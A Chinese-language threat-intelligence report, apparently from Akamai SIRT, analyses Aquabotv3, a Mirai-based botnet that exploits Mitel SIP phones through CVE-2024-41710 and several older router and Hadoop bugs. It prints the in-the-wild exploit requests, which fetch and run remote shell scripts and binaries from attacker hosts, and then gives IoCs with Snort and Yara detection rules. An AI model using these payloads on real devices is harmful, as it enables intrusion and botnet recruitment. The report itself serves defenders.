主动利用:新型 Aquabot 变体会与大本营进行通信
编辑和评论补充:Tricia Howard
执行摘要
Akamai 安全情报响应团队 (SIRT) 发现了基于 Mirai 的恶意软件 Aquabot 的一种新型变体,该变体会主动尝试利用 Mitel SIP 电话。由于这是 Aquabot 的第三次不同迭代,因此我们将其称为 Aquabotv3。
该恶意软件会利用影响多个 Mitel 产品型号的命令注入漏洞 CVE-2024-41710。
此恶意软件表现出了我们以前从未在 Mirai 变体中见过的行为:在受感染的设备上捕获到终止信号后,函数 (report_kill) 会向命令和控制 (C2) 报告。截至本博文发布之日,我们尚未看到 C2 作出任何回应。
简介和发现
Aquabot 是什么?
Aquabot 是一个基于 Mirai 框架构建的僵尸网络,其最终目标是分布式拒绝服务 (DDoS)。其名称源自于分析中出现的文件名:“Aqua”。自 2023 年 11 月起,它便已为人所知,并且由安天实验室首次报告。目前有三个已知版本;我们将在本博文中介绍第三个版本。
第一个版本与 Mirai 的基本框架非常类似,而第二个版本增加了隐藏和持久机制,例如防止设备关闭和重新启动。有关完整的技术分析,我们建议阅读安天的文章。
第三次迭代为基于 Mirai 的僵尸网络增加了新的活动:在该僵尸网络捕获某些信号时进行 C2 通信。此行为和功能上的其他显著差异与先前的两个版本形成了明显的区别,从而支持区分出第三个变体。
漏洞与概念验证利用
CVE-2024-41710
CVE-2024-41710 是一个命令注入漏洞,它会影响 Mitel 6800、6900 和 6900w 系列 SIP 电话,包括 R6.4.0.HF1 (R6.4.0.136) 及更低版本的 6970 Conference Unit。它最初于 2024 年 7 月中旬披露。该漏洞依赖于输入清理缺陷,并且利用该漏洞可以获取设备的 root 访问权限。Packetlabs 的研究人员 Kyle Burns 于 2024 年 8 月中旬在 GitHub 上公开的概念验证 (PoC) 证明了这一点。
在 2025 年 1 月的 SIRT 观察结果之前,尚未有该漏洞在现实环境中被利用的已知实例。
漏洞利用概念验证
该漏洞的概念验证 (PoC) 向我们展示了,攻击者可以通过发送特制的 HTTP POST 请求,偷偷传入原本会被应用程序的清理检查所阻止的条目。
在其 GitHub README 中,Burns 称他发现 Mitel 6869i SIP 电话(固件版本 6.3.0.1020)未能正确清理用户提供的输入内容,并且还发现多个端点都存在此漏洞。为了进行概念验证,他将注意力放在端点的“802.1x 支持”(8021xsupport.html) 上。
对 8021xsupport.html 的远程请求可被用于更新设备的本地配置 (/nvdata/etc/local.cfg)。通过发送字节值“%dt”,Web 应用程序“linemgrSip”会将此值解释为行结束符“%0d”。在引导过程中,当设备的本地配置内容被读取并用于启动操作时,攻击者可以利用此解释行为。
在对其概念验证的利用中,Burns 提供了 HTTP POST 参数 802.1x+identity 中指定的以下有效负载以获取代码执行。
AAAAA%dthostname: QWERTY -t 302400 -T 6 -b -a -i eth0 -s /usr/share/udhcpc/default.script -p /var/run/udhcpc.eth.pid; curl <ip> | sh ;%dt%dt%dt
在引导过程中,该应用程序会覆盖设备本地配置中的目标主机名条目。该主机名条目随后会用在引导过程中,并且将执行上述 shell 脚本。
主动利用
2025 年 1 月初,Akamai SIRT 通过我们的全球蜜罐网络检测到以此漏洞为目标的漏洞利用企图,它们使用了几乎与上述概念验证完全相同的有效负载。上一节中展示的有效负载示例以 URI“/8021xsupport.html”为目标,但现在被用于在现实环境中传播恶意软件。
AAAAA%!d(string=[IP Address])thostname: QWERTY -t 302400 -T 6 -b -a -i eth0 -s /usr/share/udhcpc/default.script -p /var/run/udhcpc.eth.pid; curl http://raw2.intenseapi[.]com/bin.sh | sh ;%!d(MISSING)t%!d(MISSING)t%!d(MISSING)t
此有效负载将尝试获取并执行 shell 脚本“bin.sh”,该脚本进而会在目标系统上获取并执行 Mirai 恶意软件,同时支持各种不同的架构,如 x86 和 ARM。
wget http://raw2.intenseapi[.]com/Aqua.x86; chmod 777 *; ./Aqua.x86 Aqua.x86;
wget http://raw2.intenseapi[.]com/Aqua.arm; chmod 777 *; ./Aqua.arm Aqua.arm;
wget http://raw2.intenseapi[.]com/Aqua.arm5; chmod 777 *; ./Aqua.arm5 Aqua.arm5;
wget http://raw2.intenseapi[.]com/Aqua.arm6; chmod 777 *; ./Aqua.arm6 Aqua.arm6;
wget http://raw2.intenseapi[.]com/Aqua.arm7; chmod 777 *; ./Aqua.arm7 Aqua.arm7;
wget http://raw2.intenseapi[.]com/Aqua.m68k; chmod 777 *; ./Aqua.m68k Aqua.m68k;
wget http://raw2.intenseapi[.]com/Aqua.mips; chmod 777 *; ./Aqua.mips Aqua.mips;
wget http://raw2.intenseapi[.]com/Aqua.mpsl; chmod 777 *; ./Aqua.mpsl Aqua.mpsl;
wget http://raw2.intenseapi[.]com/Aqua.sh4; chmod 777 *; ./Aqua.sh4 Aqua.sh4;
rm -rf Aqua.*
根据我们对恶意软件样本的分析,我们确定这是 Aquabot Mirai 变体的一个新版本。它与 Aquabotv2 最为相似;它有相同的攻击功能,但存在一些显著区别,我们将在接下来的部分中进行介绍。由于该恶意软件中存在此变化,因此我们将其称为 Aquabotv3。
恶意软件分析
乍一看,Aquabotv3 似乎只是一个具有典型 DDoS 攻击功能(如泛洪攻击和绕过式攻击)的标准 Mirai 恶意软件二进制文件。
[0x00008194]> afl|grep attack
0x000089f8 27 1680 sym.attack_gre_eth
0x0000c550 24 1256 sym.attack_udp_generic
0x0000b8f4 27 852 sym.attack_tcp_socket
0x0000be78 19 672 sym.attack_udp_plain
0x0000c118 20 1076 sym.attack_udp_vse
0x000084e8 8 108 sym.attack_get_opt_ip
0x0000a0fc 31 1780 sym.attack_tcp_ack
0x000085c4 1 1016 sym.attack_init
0x00009948 32 1968 sym.attack_tcp_stomp
0x000096a8 19 672 sym.attack_std
0x000081d0 13 244 sym.attack_start
0x0000aea0 31 1780 sym.attack_tcp_legit
0x000082cc 24 540 sym.attack_parse
0x0000a7f4 28 1704 sym.attack_tcp_syn
0x00008554 8 112 sym.attack_get_opt_int
0x0000bc4c 14 556 sym.attack_udp_bypass
0x0000908c 27 1560 sym.attack_gre_ip
0x0000b598 27 860 sym.attack_tcp_bypass
[0x00008194]>
但是,我们注意到一个名为“defend_binary()”的函数(在图 1 中显示为“sym.defend_binary”),该函数会为以下信号设置信号处理函数“handle_signal()”:
- Signal 15 (SIGTERM)
- Signal 2 (SIGINT)
- Signal 9 (SIGKILL)
- Signal 3 (SIGQUIT)
- Signal 20 (SIGTSTP)
- Signal 21 (SIGTTIN)
- Signal 22 (SIGTTOU)
- Signal 1 (SIGHUP)
图 1 显示,当上述任何信号被发送到正在运行的恶意软件样本时,该恶意软件就会捕获它。
当它捕获到该信号后,“handle_signal”函数会在内存中设置一个标志,指明信号已被捕获并且该二进制文件已被“防御”(图 2)。
不仅如此,Aquabotv3 随后会向大本营进行报告。函数 report_kill() 会通过 TCP 连接向 C2 发送一条消息,表明信号已被捕获(图 3)。
该恶意软件也会将终止尝试发送回 C2(图 4)。但是,C2 似乎并没有根据捕获到信号的通知反馈任何信息。
我们以前未在 Mirai 变体中见过此类行为,因此它可能会成为一项新功能。虽然此行为的真正原因尚未得到确认,但这种与 C2 的通信可能是僵尸网络作者主动监控僵尸网络运行状况的一种方式。
该僵尸网络包含一些功能,这些功能被设计为会终止符合特定要求的进程,例如本地 shell。
[0x00008194]> afl|grep killer
0x0000d900 15 332 sym.killer_diego
0x0000da64 18 376 sym.killer_dora_the_explorer
0x0000d324 13 664 sym.killer_im_the_map
0x0000d5dc 18 388 sym.killer_boots
0x0000ced4 42 1068 sym.killer_tico
0x0000dbf8 4 100 sym.killer_init
0x0000d77c 15 356 sym.killer_swiper
Aquabotv2 中引入了混淆机制,v3 中也有这些机制。图 5 显示了该恶意软件如何将其自身重命名为“httpd.x86”并通过端口 33966 与 C2 服务器 193.200.78[.]57 进行通信。
通过我们对该恶意软件的行为进行的动态分析,我们发现它还会通过端口 7733 连接到 C2 服务器 89.190.156[.]145。在我们分析过的很多样本中,这些端口都保持一致。
root@debian:~# lsof |grep httpd
httpd 919 larry cwd DIR 8,1 4096 9879 /home/larry
httpd 919 larry rtd DIR 8,1 4096 2 /
httpd 919 larry txt REG 8,1 62772 10798 /home/larry/Aqua.x86
httpd 919 larry 0u IPv4 23658 0t0 TCP 192.168.0.111:37892->193.200.78.57:33966 (ESTABLISHED)
httpd 919 larry 3u sock 0,8 0t0 16781 protocol: TCP
遭到利用的其他漏洞
与很多其他僵尸网络一样,此僵尸网络也会利用各种其他漏洞来进一步扩大其影响范围。我们观察到该 Aquabot Mirai 恶意软件通过经常被利用的 Hadoop YARN 漏洞进行传播。与先前讨论的有效负载类似,此漏洞利用将获取并执行同一 shell 脚本“bin.sh”,该脚本随后会在目标系统上获取并执行 Aquabot Mirai 恶意软件变体。
/ws/v1/cluster/apps {"application-id": "application_1404198295326_0003", "application-name": "get-shell", "am-container-spec": {"commands": {"command": "wget http://raw2.intenseapi[.]com/bin.sh; chmod 777 bin.sh; ./bin.sh; rm -rf *"}}, "application-type": "YARN"}
对 Hadoop YARN 漏洞的利用
根据我们的观察,遭到该僵尸网络利用的部分其他漏洞包括:CVE-2018-17532、CVE-2023-26801、CVE-2022-31137、Linksys E-series RCE、CVE-2018-10562 和 CVE-2018-10561。虽然文件名不同于 Mitel 利用企图中直接的“Aqua”命名,但在这些其他的漏洞利用中,恶意软件似乎是相同的。
/cgi-bin/hotspotlogin.cgi send=1&uamip="; cd /tmp;rm -rf mips; wget http://files1.eye-network[.]ru/vsbeps; chmod 777 vsbeps; ./vsbeps tplink.0day; rm -rf vsbeps #"
CVE-2018-17532 的利用
/goform/set_LimitClient_cfg time1=00:00-00:00&time2=00:00-00:00&mac=;killall -9 mpsl; killall -9 bash.mpsl; killall -9 mips; rm -rf *mpsl*; wget http://server2.eye-network[.]ru/qkehusl -O mpsl; busybox wget http://server2.eye-network[.]ru/qkehusl -O mpsl; chmod 777 mpsl; ./mpsl lbink;
CVE-2023-26801 的利用
/app/options.py show_versions=1&token=&alert_consumer=notNull&serv=127.0.0.1&delcert=a%20&%20wget%20cd /tmp; wget http://server.eye-network[.]ru/pdvr.sh; curl -O http://server.eye-network[.]ru/pdvr.sh; chmod 777 pdvr.sh; sh pdvr.sh; ./skid.sh; rm -rf *
CVE-2022-31137 的利用
/tmUnblock.cgi submit_button=&change_action=&action=&commit=0&ttcp_num=2&ttcp_size=2&ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+bins.sh%3B+wget+http%3A%2F%2Fserver.eye-network[.]ru%2Fwget.sh%3B+chmod+777+wget.sh%3B+sh+wget.sh+linksys%60&StartEPI=1
Linksys E-series RCE 的利用
/GponForm/diag_Form?images/ XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`cd /tmp; cd /var/tmp; wget http://server.eye-network[.]ru/vsbeps; chmod 777 vsbeps; ./vsbeps vpntGpon`;cd /tmp; cd /var/tmp; wget http://server.eye-network[.]ru/vsbeps; chmod 777 vsbeps; ./vsbeps vpntGpon&ipv=0
CVE-2018-10562 和 CVE-2018-10561 的利用
DDoS 即服务
我们还观察到,Aquabot 背后的攻击者一直通过 Telegram 等平台将此僵尸网络宣传为 DDoS 即服务(图 6)。它曾以多个不同的名称进行宣传,并提供第 4 层和第 7 层 DDoS。命名约定各不相同,其中部分命名约定对其真实目的具有误导性:Cursinq Firewall、The Eye Services 和 The Eye Botnet。
攻击者通常声称该僵尸网络仅用于 DDoS 抵御测试目的,以试图误导研究人员或执法机构。攻击者会声称它只是概念验证或教育性内容,但深入分析表明,他们实际上是在宣传 DDoS 即服务,或者所有者是在 Telegram 上吹嘘自己运营的僵尸网络。
例如,在图 6 的广告中,这个他们声称“仅用于测试 DDoS 抵御系统”的域名一直在主动传播 Mirai 恶意软件。
Mirai 和 DDoS 形影不离
对很多企业来说,DDoS 仍然是一个无处不在的威胁,而 Aquabot 等僵尸网络是其中的主要参与者。此外,由于这些僵尸网络中的大多数都基于 Mirai 恶意软件,因此它们主要以物联网 (IoT) 设备为目标,这让恶意软件的传播变得相对容易。
对于一个“有志向”的僵尸网络作者来说,Mirai 的投资回报率很高。Mirai 是世界上最成功的僵尸网络家族之一,也是较容易修改的僵尸网络家族之一。这些物联网机器往往缺少适当的安全功能、处于终止服务状态,或者由于被忽视或缺少对危险的认知而保留了默认配置和密码。
对于 Aquabot,恶意软件核心与 Mirai 相同,但在信号处理方面独树一帜。但是,独特并不总是最有用的——此恶意软件不是特别悄无声息,这可能对它带来不利影响。
采用独特信号处理的原因可能是,攻击者有意观察机器的防御活动,以便将来开发出更隐秘的变体。它也可用于检测来自竞争僵尸网络和/或道德打击活动的主动破坏/攻击。
采取措施
无论攻击者的意图是什么,对不安全的物联网设备采取措施(如发现和更改默认凭据)都有助于抵御 DDoS。这些僵尸网络中的很多都依赖于常用密码库进行身份验证。找出已知物联网设备的位置,并检查是否存在恶意设备。检查登录凭据,如果它们是默认凭据或者容易猜到,请进行更改。
了解更多
入侵指标
我们提供了入侵指标 (IoC) 列表以及 Snort 和 Yara 规则来帮助防御者。
针对网络 IoC 的 Snort 规则
针对恶意 IP 的 Snort 规则
# Outbound traffic TO any of these malicious IPs
alert ip any any -> [89.190.156.145,91.92.243.233,213.130.144.69,154.216.16.109,193.200.78.33,173.239.233.47,141.98.11.67,141.98.11.175,173.239.233.48,173.239.233.46] any \
(msg:"Malicious IP Outbound Traffic"; \
sid:1000001; rev:1; \
classtype:botnet-activity; \
priority:1; )
# Inbound traffic FROM any of these malicious IPs
alert ip [89.190.156.145,91.92.243.233,213.130.144.69,154.216.16.109,193.200.78.33,173.239.233.47,141.98.11.67,141.98.11.175,173.239.233.48,173.239.233.46] any -> any any \
(msg:"Malicious IP Inbound Traffic"; \
sid:1000002; rev:1; \
classtype:botnet-activity; \
priority:1; )
针对 C2 域解析检测的 Snort 规则
alert udp any any -> any 53 (
msg:"Malicious domain DNS query (subdomains included)";
;;; For Snort 2.9.9+ or Snort 3, if using the 'dns_query' keyword:
dns_query;
pcre:"/(?:^|\.)dogmuncher\.xyz$|(?:^|\.)cardiacpure\.ru$|(?:^|\.)fuerer-net\.ru$|(?:^|\.)eye-network\.ru$|(?:^|\.)intenseapi\.com$|(?:^|\.)cloudboats\.vip$|(?:^|\.)theeyefirewall\.su$|(?:^|\.)awaken-network\.net$/i";
classtype:botnet-activity;
sid:1000001;
rev:1;
priority:1;
)
针对恶意软件样本的 Yara 规则
import "hash"
rule Malicious_Malware_IOCs
{
meta:
description = "Detects suspicious samples referencing known malicious infrastructure and strings"
strings:
// --- IP addresses (as ASCII) ---
$ip1 = "89.190.156.145"
$ip2 = "91.92.243.233"
$ip3 = "213.130.144.69"
$ip4 = "154.216.16.109"
$ip5 = "193.200.78.33"
$ip6 = "173.239.233.47"
$ip7 = "141.98.11.67"
$ip8 = "141.98.11.175"
$ip9 = "173.239.233.48"
$ip10 = "173.239.233.46"
// --- Domain names (as ASCII) ---
$dom1 = "dogmuncher.xyz"
$dom2 = "cardiacpure.ru"
$dom3 = "fuerer-net.ru"
$dom4 = "eye-network.ru"
$dom5 = "intenseapi.com"
$dom6 = "cloudboats.vip"
$dom7 = "theeyefirewall.su"
$dom8 = "awaken-network.net"
// --- Unique strings from malware analysis ---
$str_locker_killed = "[locker] killed process: %s"
$str_killer_node = "[killer/node] killed process: %s"
$str_killer_cpu = "[killer/cpu] killed process: %s"
$str_killer_cmd = "[killer/cmd] killed process: %s"
$str_killer_stat = "[killer/stat] killed process: %s"
$str_killer_exe = "[killer/exe] killed process: %s"
$str_killer_maps = "[killer/maps] killed process: %s"
condition:
any of ($ip*) or // Match if any malicious IP is found in ASCII form
any of ($dom*) or // Match if any malicious domain is found in ASCII form
any of ($str_killer*) or ($str_locker_killed)
}
rule Known_Malicious_Files_by_SHA256
{
meta:
description = "Detects files matching known malicious SHA-256 hashes"
hash_list = "6 known malicious samples"
condition:
hash.sha256(0, filesize) in (
"597b84ba23e16b24ec17288981bbf65c84b6ba3bb07df6620378a1907692fb86",
"6a070dc9614dbb9a76092258fdc8bd758f69126c73787dc7d2af9aebd436e7ec",
"b41e29e745b69f3e8c11d105e7e050fd9e08ff1e22efd97fd4c239a9095d708b",
"b5d1cf8b222162567f46281e792145774689c205701a02f3723cf6fb13a429de",
"1e74bcd24e30947bd14cef6731ca63f69df060ba3dcac88b2321171335a6e8ef",
"e06c3f5c32aaa422e66056290eb566065afe2ce611fe019f3ba804af939ac1a3"
)
}
历史基础架构的 IPv4 地址
89.190.156.145
91.92.243.233
213.130.144.69
154.216.16.109
193.200.78.33
173.239.233.47
141.98.11.67
141.98.11.175
173.239.233.48
173.239.233.46
用于 C2 和恶意软件传播端点的域
dogmuncher.xyz
cardiacpure.ru
fuerer-net.ru
eye-network.ru
intenseapi.com
cloudboats.vip
theeyefirewall.su
awaken-network.net
SHA256 哈希值
597b84ba23e16b24ec17288981bbf65c84b6ba3bb07df6620378a1907692fb86
6a070dc9614dbb9a76092258fdc8bd758f69126c73787dc7d2af9aebd436e7ec
b41e29e745b69f3e8c11d105e7e050fd9e08ff1e22efd97fd4c239a9095d708b
b5d1cf8b222162567f46281e792145774689c205701a02f3723cf6fb13a429de
1e74bcd24e30947bd14cef6731ca63f69df060ba3dcac88b2321171335a6e8ef
e06c3f5c32aaa422e66056290eb566065afe2ce611fe019f3ba804af939ac1a3